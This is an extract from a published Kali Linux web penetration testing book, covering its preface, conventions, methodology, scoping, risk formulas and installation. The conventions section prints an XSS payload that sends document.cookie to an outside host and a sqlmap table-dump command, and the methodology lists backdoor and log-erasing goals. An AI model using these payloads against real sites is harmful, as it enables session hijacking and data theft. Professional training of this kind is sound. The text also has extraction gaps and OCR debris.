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Preface
Kali is a Debian Linux based Penetration Testing arsenal used by security 
professionals (and others) to perform security assessments. Kali offers a  
range of toolsets customized for identifying and exploiting vulnerabilities in  
systems. This book is written leveraging tools available in Kali Linux released  
March 13th, 2013 as well as other open source applications.

Web Penetration Testing with Kali Linux is designed to be a guide for professional 
Penetration Testers looking to include Kali in a web application penetration 

provide details on using the application(s), and offer examples of what information 

various programs and utilities; however, this book will focus on the strongest tool(s) 

The chapters in this book are divided into tasks used in real world web application 
Penetration Testing. Chapter 1, Penetration Testing and Setup, provides an overview  
of Penetration Testing basic concepts, professional service strategies, background  
on the Kali Linux environment, and setting up Kali for topics presented in this book. 
Chapters 2-6, cover various web application Penetration Testing concepts including 

accomplish your desired objective.

Chapter 7, Defensive Countermeasures, serves as a remediation source on systems 
vulnerable to attacks presented in previous chapters. Chapter 8, Penetration Test 
Executive Report, offers reporting best practices and samples that can serve as 
templates for building executive level reports. The purpose of designing the book in 
this fashion is to give the reader a guide for engaging a web application penetration 
with the best possible tool(s) available in Kali, offer steps to remediate a vulnerability 
and provide how data captured could be presented in a professional manner.

http://itbookshub.comwww.freepdf-books.com
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What this book covers
Chapter 1, Penetration Testing and Setup, covers fundamentals of building a 
professional Penetration Testing practice. Topics include differentiating a 
Penetration Test from other services, methodology overview, and targeting  
web applications. This chapter also provides steps used to set up a Kali  
Linux environment for tasks covered in this book.

Chapter 2, Reconnaissance, provides various ways to gather information about a  
target. Topics include highlighting popular free tools available on the Internet as  
well as Information Gathering utilities available in Kali Linux.

Chapter 3, Server Side Attacks, focuses on identifying and exploiting vulnerabilities 
in web servers and applications. Tools covered are available in Kali or other open 
source utilities.

Chapter 4, Client Side Attacks, targets hosts systems. Topics include social engineering, 
exploiting host system vulnerabilities, and attacking passwords, as they are the most 
common means to secure host systems.

Chapter 5, Attacking Authentication, looks at how users and devices authenticate to web 
applications. Topics include targeting the process of managing authentication sessions, 
compromising how data is stored on host systems, and man-in-the-middle attack 

Chapter 6, Web Attacks, explores how to take advantage of web servers and 
compromise web applications using exploits such as browser exploitation, proxy 
attacks, and password harvesting. This chapter also covers methods to interrupt 
services using denial of service techniques.

Chapter 7, Defensive Countermeasures, provides best practices for hardening your 
web applications and servers. Topics include security baselines, patch management, 
password policies, and defending against attack methods covered in previous 
chapters. This chapter also includes a focused forensics section, as it is important  
to properly investigate a compromised asset to avoid additional negative impact.

Chapter 8, Penetration Test Executive Report, covers best practices for developing 
professional post Penetration Testing service reports. Topics include an overview  
of methods to add value to your deliverable, document formatting, and templates 
that can be used to build professional reports.

http://itbookshub.comwww.freepdf-books.com
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What you need for this book
Readers should have a basic understanding of web applications, networking 
concepts, and Penetration Testing methodology. This book will include detailed 
examples of how to execute an attack using tools offered in Kali Linux as well as 

using previous versions of Backtrack or similar programs.

Hardware requirements for building a lab environment and setting up the Kali  
Linux arsenal are covered in Chapter 1, Penetration Testing and Setup.

Who this book is for
The target audience for this book are professional Penetration Testers or others 
looking to maximize Kali Linux for a web server or application Penetration Testing 
exercise. If you are looking to identify how to perform a Penetration Test against  

this book is for you.

Conventions
different kinds of information. Here are some examples of these styles, and an 
explanation of their meaning.

 
My First Scan or anything else you would like."

A block of code is set as follows:

<script>document.write("<img src='http://kali.drchaos.com/var/www/xss_
lab/lab_script.php?"+document.cookie+"'>")</script>

Any command-line input or output is written as follows:

sqlmap -u http://www.drchaous.com/article.php?id=5  -T tablesnamehere -U 
test --dump

-U test –dump

http://itbookshub.comwww.freepdf-books.com
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New terms and important words are shown in bold. Words that you see on the 
screen, in menus or dialog boxes for example, appear in the text like this: "Soon  
as we click on the Execute

Warnings or important notes appear in a box like this.

Tips and tricks appear like this.

Reader feedback
Feedback from our readers is always welcome. Let us know what you think about 
this book—what you liked or may have disliked. Reader feedback is important for  
us to develop titles that you really get the most out of.

To send us general feedback, simply send an e-mail to feedback@packtpub.com, 
and mention the book title via the subject of your message.

If there is a topic that you have expertise in and you are interested in either writing 
or contributing to a book, see our author guide on www.packtpub.com/authors.

Customer support
Now that you are the proud owner of a Packt book, we have a number of things to 
help you to get the most from your purchase.

Errata
Although we have taken every care to ensure the accuracy of our content, mistakes 

the code—we would be grateful if you would report this to us. By doing so, you can 
save other readers from frustration and help us improve subsequent versions of this 

http://www.packtpub.
com/submit-errata, selecting your book, clicking on the errata submission form link, 

will be accepted and the errata will be uploaded on our website, or added to any list of 
existing errata, under the Errata section of that title. Any existing errata can be viewed 
by selecting your title from http://www.packtpub.com/support.

http://itbookshub.com
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Piracy
Piracy of copyright material on the Internet is an ongoing problem across all media. 
At Packt, we take the protection of our copyright and licenses very seriously. If you 
come across any illegal copies of our works, in any form, on the Internet, please 
provide us with the location address or website name immediately so that we can 
pursue a remedy.

Please contact us at copyright@packtpub.com with a link to the suspected  
pirated material.

We appreciate your help in protecting our authors, and our ability to bring  
you valuable content.

Questions
You can contact us at questions@packtpub.com if you are having a problem  
with any aspect of the book, and we will do our best to address it.

http://itbookshub.comwww.freepdf-books.com
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Penetration Testing  
and Setup

Many organizations offer security services and use terms such as security audit, 
network or risk assessment, and Penetration Test with overlapping meanings. 

application(s). Security assessments are evaluations of risk, meaning services  
used to identify vulnerabilities in systems, applications, and processes.

Penetration Testing goes beyond 
vulnerabilities to verify if the vulnerability is real or a false positive. For example, 
an audit or an assessment may utilize scanning tools that provide a few hundred 
possible vulnerabilities on multiple systems. A Penetration Test would attempt 
to attack those vulnerabilities in the same manner as a malicious hacker to verify 
which vulnerabilities are genuine reducing the real list of system vulnerabilities to 
a handful of security weaknesses. The most effective Penetration Tests are the ones 

the true test of a successful Penetration Test. Enumerating a single system during 
a targeted attack reveals more about system security and response time to handle 
incidents than wide spectrum attack. By carefully choosing valuable targets, a 
Penetration Tester can determine the entire security infrastructure and associated 
risk for a valuable asset.

Penetration Testing does not make networks more secure!

http://itbookshub.com
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This is a common misinterpretation and should be clearly explained to all potential 
customers. Penetration Testing evaluates the effectiveness of existing security. If 
a customer does not have strong security then they will receive little value from 
Penetration Testing services. As a consultant, it is recommended that Penetration 
Testing services are offered as a means to verify security for existing systems once 
a customer believes they have exhausted all efforts to secure those systems and are 
ready to evaluate if there are any existing gaps in securing those systems.

Positioning a proper scope of work is critical when selling Penetration Testing services. 

what toolsets may be used to compromise vulnerabilities that are found. Best practice 
is working with your customer during a design session to develop an acceptable scope 
of work that doesn't impact the value of the results.

Web Penetration Testing with Kali Linux—the next generation of BackTrack—is a 

and exploiting web applications. This book will cover researching targets, identifying 
and exploiting vulnerabilities in web applications as well as clients using web 
application services, defending web applications against common attacks, and 
building Penetration Testing deliverables for professional services practice. We 
believe this book is great for anyone who is interested in learning how to become a 
Penetration Tester, users who are new to Kali Linux and want to learn the features 
and differences in Kali versus BackTrack, and seasoned Penetration Testers who may 
need a refresher or reference on new tools and techniques.

This chapter will break down the fundamental concepts behind various security 
services as well as guidelines for building a professional Penetration Testing practice. 
Concepts include differentiating a Penetration Test from other services, methodology 
overview, and targeting web applications. This chapter also provides a brief 
overview of setting up a Kali Linux testing or real environment.

Web application Penetration Testing 
concepts
A web application is any application that uses a web browser as a client. This can 
be a simple message board or a very complex spreadsheet. Web applications are 
popular based on ease of access to services and centralized management of a system 
used by multiple parties. Requirements for accessing a web application can follow 
industry web browser client standards simplifying expectations from both the 
service providers as well as the hosts accessing the application.

http://itbookshub.comwww.freepdf-books.com



Chapter 1

[ 9 ]

Web applications are the most widely used type of applications within any 
organization. They are the standard for most Internet-based applications. If you look 

are also web applications. This has created a new and large target-rich surface for 
security professionals as well as attackers exploiting those systems.

Penetration Testing web applications can vary in scope since there is a vast number 
of system types and business use cases for web application services. The core web 
application tiers which are hosting servers, accessing devices, and data depository 
should be tested along with communication between the tiers during a web 
application Penetration Testing exercise.

An example for developing a scope for a web application Penetration Test is testing 
a Linux server hosting applications for mobile devices. The scope of work at a 
minimum should include evaluating the Linux server (operating system, network 

users authenticate, client devices accessing the server and communication between 
all three tiers. Additional areas of evaluation that could be included in the scope of 
work are how devices are obtained by employees, how devices are used outside of 
accessing the application, the surrounding network(s), maintenance of the systems, 
and the users of the systems. Some examples of why these other areas of scope 
matter are having the Linux server compromised by permitting connection from a 
mobile device infected by other means or obtaining an authorized mobile device 

We have included templates for scoping a web application penetration in Chapter 
8, Penetration Test Executive Report. Some deliverable examples in this chapter offer 
checkbox surveys that can assist with walking a customer through possible targets 
for a web application Penetration Testing scope of work. Every scope of work should 
be customized around your customer's business objectives, expected timeframe of 
performance, allocated funds, and desired outcome. As stated before, templates 
serve as tools to enhance a design session for developing a scope of work.

Penetration Testing methodology
step is identifying the project's starting status. The most common terminology 

state is Black box testing, White box testing, or a blend  
between White and Black box testing known as Gray box testing.

http://itbookshub.comwww.freepdf-books.com
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Black box assumes the Penetration Tester has no prior knowledge of the target 
network, company processes, or services it provides. Starting a Black box project 
requires a lot of reconnaissance and, typically, is a longer engagement based on the 
concept that real-world attackers can spend long durations of time studying targets 
before launching attacks.

scoping a Penetration Test. Depending on the system and your familiarity with 

will last. This usually presents a billing problem. Customers, in most cases, are not 
willing to write a blank cheque for you to spend unlimited time and resources on 
the reconnaissance phase; however, if you do not spend the time needed then your 
Penetration Test is over before it began. It is also unrealistic because a motivated 
attacker will not necessarily have the same scoping and billing restrictions as a 
professional Penetration Tester. That is why we recommend Gray box over  
Black box testing.

White box is when a Penetration Tester has intimate knowledge about the system. 
The goals of the Penetration Test are 
from the test is usually expected. The tester has been provided with details on 
the target such as network information, type of systems, company processes, and 
services. White box testing typically is focused on a particular business objective 
such as meeting a compliance need, rather than generic assessment, and could be 
a shorter engagement depending on how the target space is limited. White box 
assignments could reduce information gathering efforts, such as reconnaissance 
services, equaling less cost for Penetration Testing services.

An internal security group usually performs white box testing.

Gray box testing falls in between Black and White box testing. It is when the  
client or system owner agrees that some unknown information will eventually  
be discovered during a Reconnaissance phase, but allows the Penetration Tester  
to skip this part. The Penetration Tester is provided some basic details of the target; 
however, internal workings and some other privileged information is still kept  
from the Penetration Tester.
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Real attackers tend to have some information about a target prior to engaging 
the target. Most attackers (with the exception of script kiddies or individuals 
downloading tools and running them) do not choose random targets. They are 
motivated and have usually interacted in some way with their target before 
attempting an attack. Gray box is an attractive choice approach for many security 
professionals conducting Penetration Tests because it mimics real-world approaches 
used by attackers and focuses on vulnerabilities rather than reconnaissance.

Kicking off a Penetration Testing service engagement should include an information 

of the assignment to avoid unnecessary reconnaissance services or attacking systems 

scope), operate within the expected timeframe and help provide more accurate 
deliverable upon concluding services.

Real attackers do not have boundaries such as time, funding, ethics, or tools meaning 
that limiting a Penetration Testing scope may not represent a real-world scenario. 
In contrast to a limited scope, having an unlimited scope may never evaluate critical 
vulnerabilities if a Penetration Test is concluded prior to attacking desired systems. 
For example, a Penetration Tester may capture user credentials to critical systems 
and conclude with accessing those systems without testing how vulnerable those 
systems are to network-based attacks. It's also important to include who is aware of 
the Penetration Test as a part of the scope. Real attackers may strike at anytime and 
probably when people are least expecting it.

Some fundamentals for developing a scope of work for a Penetration Test are  
as follows:

: This 
This includes the location on the network, types of systems, and business use 
of those systems.
Timeframe of Work Performed: When the testing should start and what is 

the time scope to business hours.
How Targets Are Evaluated: What types of testing methods such as 

networking by pretending to be an employee, denial of service attack on key 
systems, or executing scripts on vulnerable servers. Some attack methods 
may pose a higher risk of damaging systems than others.
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Tools and software: What tools and software are used during the Penetration 

believe if they disclose their tools they will be giving away their secret sauce. 
We believe this is only the case when security professionals used widely 
available commercial products and are simply rebranding canned reports from 
these products. Seasoned security professionals will disclose the tools being 
used, and in some cases when vulnerabilities are exploited, documentation on 
the commands used within the tools to exploit a vulnerability. This makes the 
exploit re-creatable, and allows the client to truly understand how the system 

operations team prior to the Penetration Test. This is very important when 
looking at web applications that may be hosted by another party such as a 
cloud service provider that could be impacted from your services.
Initial Access Level: What type of information and access is provided  

 

: This 
included in the Penetration Test. For example, conducting a Penetration Test 

application hosted from the same server.

be touched to avoid a negative impact from the Penetration Testing services. 

assets clear prior to engaging a target.
: It is important to  

Test should compromise a system or a process. Should data be removed  

Deliverable
client specify to be accomplished upon closing a Penetration Testing service 

 
to deliver a sample report or periodic updates so that there are no surprises 

http://itbookshub.comwww.freepdf-books.com



Chapter 1

[ 13 ]

Remediation expectations: Are vulnerabilities expected to be documented 

include remediation of problems found.

Security Audit: Evaluating a system or an application's risk level against a 
set of standards or baselines. Standards are mandatory rules while baselines 
are the minimal acceptable level of security. Standards and baselines achieve 

technologies, and processes.
Most requests for security serves for audits are focused on passing an 

audit) or proving the baseline requirements are met for a mandatory set of 
regulations (for example following the HIPAA and HITECH mandates for 
protecting healthcare records). It is important to inform potential customers 
if your audit services include any level of insurance or protection if an audit 
isn't successful after your services. It's also critical to document the type 
of remediation included with audit services (that is, whether you would 

Auditing for compliance is much more than running a security tool. It relies 
heavily on the standard types of reporting and following a methodology that 
is an accepted standard for the audit.
In many cases, security audits give customers a false sense of security 
depending on what standards or baselines are being audited. Most standards 
and baselines have a long update process that is unable to keep up with 
the rapid changes in threats found in today's cyber world. It is HIGHLY 
recommended to offer security services beyond standards and baselines to 
raise the level of security to an acceptable level of protection for real-world 
threats. Services should include following up with customers to assist with 
remediation along with raising the bar for security beyond any industry 
standards and baselines.
Vulnerability Assessment: This is the process in which network devices, 
operating systems and application software are scanned in order to identify 
the presence of known and unknown vulnerabilities. Vulnerability is a gap, 
error, or weakness in how a system is designed, used, and protected. When 
a vulnerability is exploited, it can result in giving unauthorized access, 
escalation of privileges, denial-of-service to the asset, or other outcomes.
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Vulnerability Assessments typically stop once a vulnerability is found, 
meaning that the Penetration Tester doesn't execute an attack against 
the vulnerability to verify if it's genuine. A Vulnerability Assessment 
deliverable provides potential risk associated with all the vulnerabilities 
found with possible remediation steps. There are many solutions such as 
Kali Linux that can be used to scan for vulnerabilities based on system/
server type, operating system, ports open for communication and other 
means. Vulnerability Assessments can be White, Gray, or Black box 
depending on the nature of the assignment.
Vulnerability scans are only useful if they calculate risk. The downside of 
many security audits is vulnerability scan results that make security audits 
thicker without providing any real value. Many vulnerability scanners 
have false positives or identify vulnerabilities that are not really there. They 

contain multiple smaller patches) or software revisions. Assigning risk to 

is. In many cases, this means that vulnerability reports by automated tools 
will need to be checked.
Customers will want to know the risk associated with vulnerability and 
expected cost to reduce any risk found. To provide the value of cost, it's 
important to understand how to calculate risk.

Calculating risk
It is important to understand how to calculate risk associated with vulnerabilities 
found, so that a decision can be made on how to react. Most customers look 
to the CISSP triangle of CIA when determining the impact of risk. CIA is the 

 
When determining the impact of risk, customers must look at each component 
individually as well as the vulnerability in its entirety to gain a true perspective  
of the risk and determine the likelihood of impact.

or outweighs the cost of controls required to reduce the risk to an acceptable level. 
A customer may not be able to spend a million dollars on remediating a threat that 
compromises guest printers; however, they will be very willing to spend twice as 
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The Professional ( ) curriculum lists 
formulas for calculating risk as follow.

A Single Loss Expectancy (SLE) is the cost of a single loss to an Asset Value (AV). 
 ( ) is the impact the loss of the asset will have to an organization 

such as loss of revenue due to an Internet-facing server shutting down. Customers 
should calculate the SLE of an asset when evaluating security investments to help 
identify the level of funding that should be assigned for controls. If a SLE would 
cause a million dollars of damage to the company, it would make sense to consider 
that in the budget.

The Single Loss Expectancy formula:

SLE = AV * EF

The next important formula is identifying how often the SLE could occur. If an 
SLE worth a million dollars could happen once in a million years, such as a meteor 
falling out of the sky, it may not be worth investing millions in a protection dome 

prevention system. The number of times an asset is lost is called the Annual Rate of 
 ( ).

The Annualized Loss Expectancy (ALE) is an expression of annual anticipated loss 
due to risk. For example, a meteor falling has a very low annualized expectancy 

future investments for protecting a building.

Annualized Loss Expectancy formula:

ALE = SLE * ARO

customer should invest into remediating vulnerability found in a asset.

Risk formula:

Risk = Asset Value * Threat * Vulnerability * Impact

It is common for customers not to have values for variables in Risk Management 
formulas. These formulas serve as guidance systems, to help the customer better 
understand how they should invest in security. In my previous examples, using the 

investment than metal dome protecting from falling objects.
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Penetration Testing is the method of attacking system vulnerabilities in a similar way 
to real malicious attackers. Typically, Penetration Testing services are requested when 
a system or network has exhausted investments in security and clients are seeking to 
verify if all avenues of security have been covered. Penetration Testing can be Black, 
White, or Gray box depending on the scope of work agreed upon.

The key difference between a Penetration Test and Vulnerability Assessment is 
that a Penetration Test will act upon vulnerabilities found and verify if they are 

Vulnerability 
Assessment of a target could change to a Penetration Test once the asset owner 
has authorized the service provider to execute attacks against the vulnerabilities 

associated since the services require more expensive resources, tools, and time to 
successfully complete assignments. One popular misconception is that a Penetration 
Testing service enhances IT security since services have a higher cost associated  
than other security services:

Penetration Testing does not make IT networks more secure, since services 
evaluate existing security! A customer should not consider a Penetration  
Test if there is a belief the target is not completely secure.
Penetration Testing can cause a negative impact to systems: It's critical to 
have authorization in writing from the proper authorities before starting 
a Penetration Test of an asset owned by another party. Not having proper 
authorization could be seen as illegal hacking by authorities. Authorization 
should include who is liable for any damages caused during a penetration 
exercise as well as who should be contacted to avoid future negative impacts 
once a system is damaged. Best practice is alerting the customers of all the 
potential risks associated with each method used to compromise a target 
prior to executing the attack to level set expectations. This is also one of the 
reasons we recommend targeted Penetration Testing with a small scope. 
It is easier to be much more methodical in your approach. As a common 

system can be restored by a customer using backups or some other disaster 
recovery method.

Penetration Testing 
on a scope of work. The most common methods by which hackers obtain information 
about targets is through social engineering via attacking people rather than systems. 
Examples are interviewing for a position within the organization and walking out a 
week later with sensitive data offered without resistance. This type of deliverable may 
not be acceptable if a customer is interested in knowing how vulnerable their web 

that all parties understand when the penetration services are considered concluded. 
Usually, an agreed-upon deliverable serves this purpose.
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A Penetration Testing engagement's success for a service provider is based on 

The higher the quality of the deliverables, the closer the service can meet customer 
expectation, resulting in a better reputation and more future business. For these 
reasons, it's important to develop a methodology for executing Penetration Testing 
services as well as for how to report what is found.

Kali Penetration Testing concepts
Kali Linux is designed to follow the 
engagement. Regardless if the starting point is White, Black, or Gray box testing, 
there is a set of steps that should be followed when Penetration Testing a target  
with Kali or other tools.

You should learn as much as possible about a target's environment and system  
traits prior to launching an attack. The more information you can identify about  
a target, the better chance you have to identify the easiest and fastest path to success. 
Black box testing requires more reconnaissance than White box testing since data is 
not provided about the target(s). Reconnaissance services can include researching 
a target's Internet footprint, monitoring resources, people, and processes, scanning 
for network information such as IP addresses and systems types, social engineering 
public services such as help desk and other means.

Reconnaissance Testing service engagement 
regardless if you are verifying known information or seeking new intelligence  

intelligence on the target such as what ports are used for communication, where 
it is hosted, the type of services being offered to clients, and so on. This data will 
develop a plan of action regarding the easiest methods to obtain desired results. 
The deliverable of a reconnaissance assignment should include a list of all the assets 
being targeted, what applications are associated with the assets, services used, and 
possible asset owners.

Kali Linux offers a category labeled Information Gathering that serves as  
a Reconnaissance resource. Tools include methods to research network, data  
center, wireless, and host systems.
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The following is the list of Reconnaissance goals:

Identify target(s)

Identify system types
Identify available ports
Identify running services
Passively social engineer information

researched from Reconnaissance efforts, the next 
step is evaluating the target for vulnerabilities. At this point, the Penetration 
Tester should know enough about a target to select how to analyze for possible 
vulnerabilities or weakness. Examples for testing for weakness in how the web 

Vulnerability Assessments and Security Audits typically conclude after this  
phase of the target evaluation process.

Capturing detailed information through Reconnaissance improves accuracy 
of targeting possible vulnerabilities, shortens execution time to perform target 
evaluation services, and helps to avoid existing security. For example, running  
a generic vulnerability scanner against a web application server would probably 
alert the asset owner, take a while to execute and only generate generic details 

based on data obtained from Reconnaissance would be harder for the asset owner 
to detect, provide a good possible vulnerability to exploit, and take seconds  
to execute.

Evaluating targets for vulnerabilities could be manual or automated through 
tools. There is a range of tools offered in Kali Linux grouped as a category labeled 
Vulnerability Analysis. Tools range from assessing network devices to databases.

The following is the list of Target Evaluation goals:

Evaluation targets for weakness
Identify and prioritize vulnerable systems
Map vulnerable systems to asset owners 
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This step exploits vulnerabilities found to verify if the vulnerabilities are real and what 
possible information or access can be obtained. Exploitation separates Penetration 
Testing services from passive services such as Vulnerability Assessments and Audits. 

from the asset owners of the target.

The success of this step is heavily dependent on previous efforts. Most exploits 

if executed incorrectly. Best practice is identifying a handful of vulnerabilities and 

Exploiting targets can be manual or automated depending on the end objective. 

or social engineering a Helpdesk person into providing admin login credentials. 
Kali Linux offers a dedicated catalog of tools titled Exploitation Tools for exploiting 

The following is the list of Exploitation goals:

Exploit vulnerabilities
Obtain foothold
Capture unauthorized data
Aggressively social engineer
Attack other systems or applications

Having access to a target does not guarantee accomplishing the goal of a penetration 
assignment. In many cases, exploiting a vulnerable system may only give limited 
access to a target's data and resources. The attacker must escalate privileges granted 

infrastructure, and so on.

Privilege Escalation can include identifying and cracking passwords, user accounts, 
and unauthorized IT space. An example is achieving limited user access, identifying 

password through password cracking, and accessing internal application systems 
with administrator access rights.
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Kali Linux includes a number of tools that can help gain Privilege Escalation through 
the Password Attacks and Exploitation Tools catalog. Since most of these tools 
include methods to obtain initial access and Privilege Escalation, they are gathered 
and grouped according to their toolsets.

The following is a list of Privilege Escalation goals:

Obtain escalated level access to system(s) and network(s)
Uncover other user account information
Access other systems with escalated privileges

by establishing other entry points into the target 
and, if possible, covering evidence of the penetration. It is possible that penetration 
efforts will trigger defenses that will eventually secure how the Penetration Tester 
obtained access to the network. Best practice is establishing other means to access 
the target as insurance against the primary path being closed. Alternative access 
methods could be backdoors, new administration accounts, encrypted tunnels,  
and new network access channels.

The other important aspect of maintaining a foothold in a target is removing 
evidence of the penetration. This will make it harder to detect the attack thus 
reducing the reaction by security defenses. Removing evidence includes erasing  
user logs, masking existing access channels, and removing the traces of tampering 
such as error messages caused by penetration efforts.

Kali Linux includes a catalog titled Maintaining Access focused on keeping a 
foothold within a target. Tools are used for establishing various forms of backdoors 
into a target.

The following is a list of goals for maintaining a foothold:

Establish multiple access methods to target network
Remove evidence of authorized access
Repair systems impacting by exploitation
Inject false data if needed
Hide communication methods through encryption and other means
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Introducing Kali Linux
The creators of BackTrack have released a new, advanced Penetration Testing  
Linux distribution named Kali Linux. BackTrack 5 was the last major version of  
the BackTrack distribution. The creators of BackTrack decided that to move forward 
with the challenges of cyber security and modern testing a new foundation was 
needed. Kali Linux was born and released on March 13th, 2013. Kali Linux is based 
on Debian

Kali has many advantages over BackTrack. It comes with many more updated tools. 
The tools are streamlined with the Debian repositories and synchronized four times 

environments strong features in Kali Linux.

Kali Linux is available for download at http://www.kali.org/.

Kali system setup
Kali Linux can be downloaded in a few different ways. One of the most popular 
ways to get Kali Linux is to download the ISO image. The ISO image is available  
in 32-bit and 64-bit images.

If you plan on using Kali Linux on a virtual machine such as VMware, there 
is a VM image prebuilt. The advantage of downloading the VM image is that 
it comes preloaded with VMware tools. The VM image is a 32-bit image with 
Physical Address Extension support, or better known as PAE. In theory, a PAE 
kernel allows the system to access more system memory than a traditional 32-bit 
operating system. There have been some well-known personalities in the world of 
operating systems that have argued for and against the usefulness of a PAE kernel. 
However, the authors of this book suggest using the VM image of Kali Linux if you 
plan on using it in a virtual environment.

Running Kali Linux from external media
Kali Linux can be run without installing software on a host hard drive by accessing 
it from an external media source such as a USB drive or DVD. This method is simple 
to enable; however, it has performance and operational implementations. Kali Linux 
having to load programs from a remote source would impact performance and some 
applications or hardware settings may not operate properly. Using read-only storage 
media does not permit saving custom settings that may be required to make Kali Linux 
operate correctly. It's highly recommended to install Kali Linux on a host hard drive.
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Installing Kali Linux
Installing Kali Linux on your computer is straightforward and similar to installing 
other operating systems. First, you'll need compatible computer hardware. Kali 
is supported on i386, amd64, and ARM (both armel and armhf) platforms. The 
hardware requirements are shown in the following list, although we suggest 
exceeding the minimum amount by at least three times. Kali Linux, in general,  
will perform better if it has access to more RAM and is installed on newer machines. 
Download Kali Linux and either burn the ISO to DVD, or prepare a USB stick with 
Kali Linux Live as the installation medium. If you do not have a DVD drive or a  
USB port on your computer, check out the Kali Linux Network Install.

The following is a list of  minimum installation requirements:

A minimum of 8 GB disk space for installing Kali Linux.
For i386 and amd64 architectures, a minimum of 512MB RAM.
CD-DVD Drive / USB boot support.
You will also need an active Internet connection before installation. This  

 
during installation.

1.	 When you start Kali you will be presented with a Boot Install screen. 
You may choose what type of installation (GUI-based or text-based) 
you would like to perform.

http://itbookshub.com
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2.	 Select the local language preference, country, and  
keyboard preferences.

3.	 Select a hostname for the Kali Linux host. The default  
hostname is Kali.
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Select a language

Choose the language to be used for the installation process. The selected language will also be the
default language for the installed system.
Language:

Chinese (Simplified)

Chinese (Traditional)

Croatian

Czech

Danish

Dutch

**(*8»

Hrvatski

Cestina

Dansk

Nederlands

Dzongkha

English English

Esperanto

Estonian

Finnish

French

Galician

Georgian

German

Esperanto

Eesti

Suomi

Francais
Galego

Deutsch

C,roQ U FU nmvn

Screenshot Go Back Continue
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Configure the network

Please enter the hostname for this system.

The hostname is a single word that identifies your system to the network. If you don't know what your
hostname should be, consult your network administrator. If you are setting up your own home network,
you can make something up here.

Hostname:

HT

Screenshot Go Back Continue
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4.	 Select a password. Simple passwords may not work so  
chose something that has some degree of complexity.

5.	 The next prompt asks for your timezone. Modify accordingly  
and select . The next screenshot shows selecting  
Eastern standard time.
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Set up users and passwords

You need to set a password for 'root', the system administrative account. A malicious or unqualified user
with root access can have disastrous results, so you should take care to choose a root password that is
not easy to guess. It should not be a word found in dictionaries, or a word that could be easily
associated with you.

A good password will contain a mixture of letters, numbers and punctuation and should be changed at
regular intervals.

The root user should not have an empty password. If you leave this empty, the root account will be
disabled and the system's initial user account will be given the power to become root using the "sudo"
command.

Note that you will not be able to see the password as you type it.
Root password:

Please enter the same root password again to verify that you have typed it correctly.

Re-enter password to verify:

Screenshot Go Back Contÿiue
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Configure the clock

If the desired time zone is not listed, then please go back to the step "Choose language" and select a
country that uses the desired time zone (the country where you live or are located).

Select your time zone:

Eastern

Central

Mountain

Pacific

Alaska

Hawaii

Arizona

East Indiana

Samoa

Screenshot Go Back (.Continue
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The installer will ask to set up your partitions. If you are installing Kali on a virtual 
image, select Guided Install – Whole Disk. This will destroy all data on the disk 
and install Kali Linux. Keep in mind that on a virtual machine, only the virtual disk 

partitions. Kali also offers the option of using LVM, logical volume manager. LVM 
allows you to manage and resize partitions after installation. In theory, it is supposed 

However, 
unless your Kali Linux needs are extremely complex, you most likely will not need to 
use it.
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Partition disks

The installer can guide you through partitioning a disk (using different standard schemes) or, if you
prefer, you can do it manually. With guided partitioning you will still have a chance later to review and
customise the results.

If you choose guided partitioning for an entire disk, you will next be asked which disk should be used.

Partitioning method:

Guided - use entire disk

Guided - use entire disk and set up LVM

Guided - use entire disk and set up encrypted LVM

Manual

*

Screenshot Go Back Continue
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6.	 The last window displays a review of the installation settings. If 
everything looks correct, select Yes to continue the process as shown 
in the following screenshot:

7.	 Kali Linux uses central repositories to distribute application 
packages. If you would like to install these packages, you need to use 
a network mirror. The packages are downloaded via HTTP protocol. 
If your network uses a proxy server, you will also need to configure 
the proxy settings for you network.
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Partition disks

If you continue, the changes listed below will be written to the disks. Otherwise, you will be able to make
further changes manually.

WARNING: This will destroy all data on any partitions you have removed as well as on the partitions that
are going to be formatted.

The partition tables of the following devices are changed:
SCSI3 (0,0,0) (sda)

The following partitions are going to be formatted:
partition #1 of SCSI3 (0,0,0) (sda) as ext4
partition #5 of SCSI3 (0,0,0) (sda) as swap

Write the changes to disks?

O No

(5) Yes

*

Screenshot Continue
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8.	 Kali will prompt to install GRUB. GRUB is a multi-bootloader that 
gives the user the ability to pick and boot up to multiple operating 
systems. In almost all cases, you should select to install GRUB. If you 
are configuring your system to dual boot, you will want to make 
sure GRUB recognizes the other operating systems in order for it to 
give users the options to boot into an alternative operating system. 
If it does not detect any other operating systems, the machine will 
automatically boot into Kali Linux.

http://itbookshub.com
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Configure the package manager

A network mirror can be used to supplement the software that is included on the CD-ROM. This may also
make newer versions of software available.

Use a network mirror?

O No

(§) jYesj

Screenshot Go Back Continue
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9.	 Congratulations! You have finished installing Kali Linux. You will 
want to remove all media (physical or virtual) and select   
to reboot your system.
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Install the GRUB boot loader on a hard disk

It seems that this new installation is the only operating system on this computer. If so, it should be safe
to install the GRUB boot loader to the master boot record of your first hard drive.

Warning: If the installer failed to detect another operating system that is present on your computer,
modifying the master boot record will make that operating system temporarily unbootable, though GRUB
can be manually configured later to boot it.

Install the GRUB boot loader to the master boot record?

O No

(§) !Yes

*
Screenshot Go Back Continue
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Finish the installation

d) Installation complete

Installation is complete, so it is time to boot into your new system. Make sure to remove the
installation media (CD-ROM, floppies), so that you boot into the new system rather than
restarting the installation.

Screenshot Go Back Continue

www.freepdf-books.com



Chapter 1

[ 29 ]

On some Kali installation methods, you will be asked to set the root's password. 
When Kali Linux boots up, enter the root's username and the password you selected. 
If you downloaded a VM image of Kali, you will need the root password. The default 
username is root and password is toor.

Kali toolset overview
Kali Linux offers a number of customized tools designed for Penetration Testing. 
Tools are categorized in the following groups as seen in the drop-down menu  
shown in the following screenshot:

http://itbookshub.com

V
kali

Other...

Applications Places (3 Wed May 15. 2:33 AM

I Accessories

yQ Electronics

Jb Gravies

Internet

>

>

>

ll'ÿ Top 10 Security Tools >
Kali Linux

> Information Gathering

> Vulnerability Analysis

> oO Web Applications

> f Password Attacks

(f* Wireless Attacks

G) Exploitation Tools

Sniffing'Spooling

Maintaining Access

Reverse Engineering

TJC Stress Testing

Q Hardware Hacking

Forensics

|f| Reporting Tools

System Services

>U Office

Programming

Sound & Video

(Q} System Tools

>

>

>

>

>

>

>

>

>

>

>

>

>
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Information Gathering: These are Reconnaissance tools used to gather data 
on your target network and devices. Tools range from identifying devices to 
protocols used.
Vulnerability Analysis: Tools from this section focus on evaluating systems 
for vulnerabilities. Typically, these are run against systems found using the 
Information Gathering Reconnaissance tools.
Web Applications: These are tools used to audit and exploit vulnerabilities 
in web servers. Many of the audit tools we will refer to in this book come 
directly from this category. However web applications do not always refer 
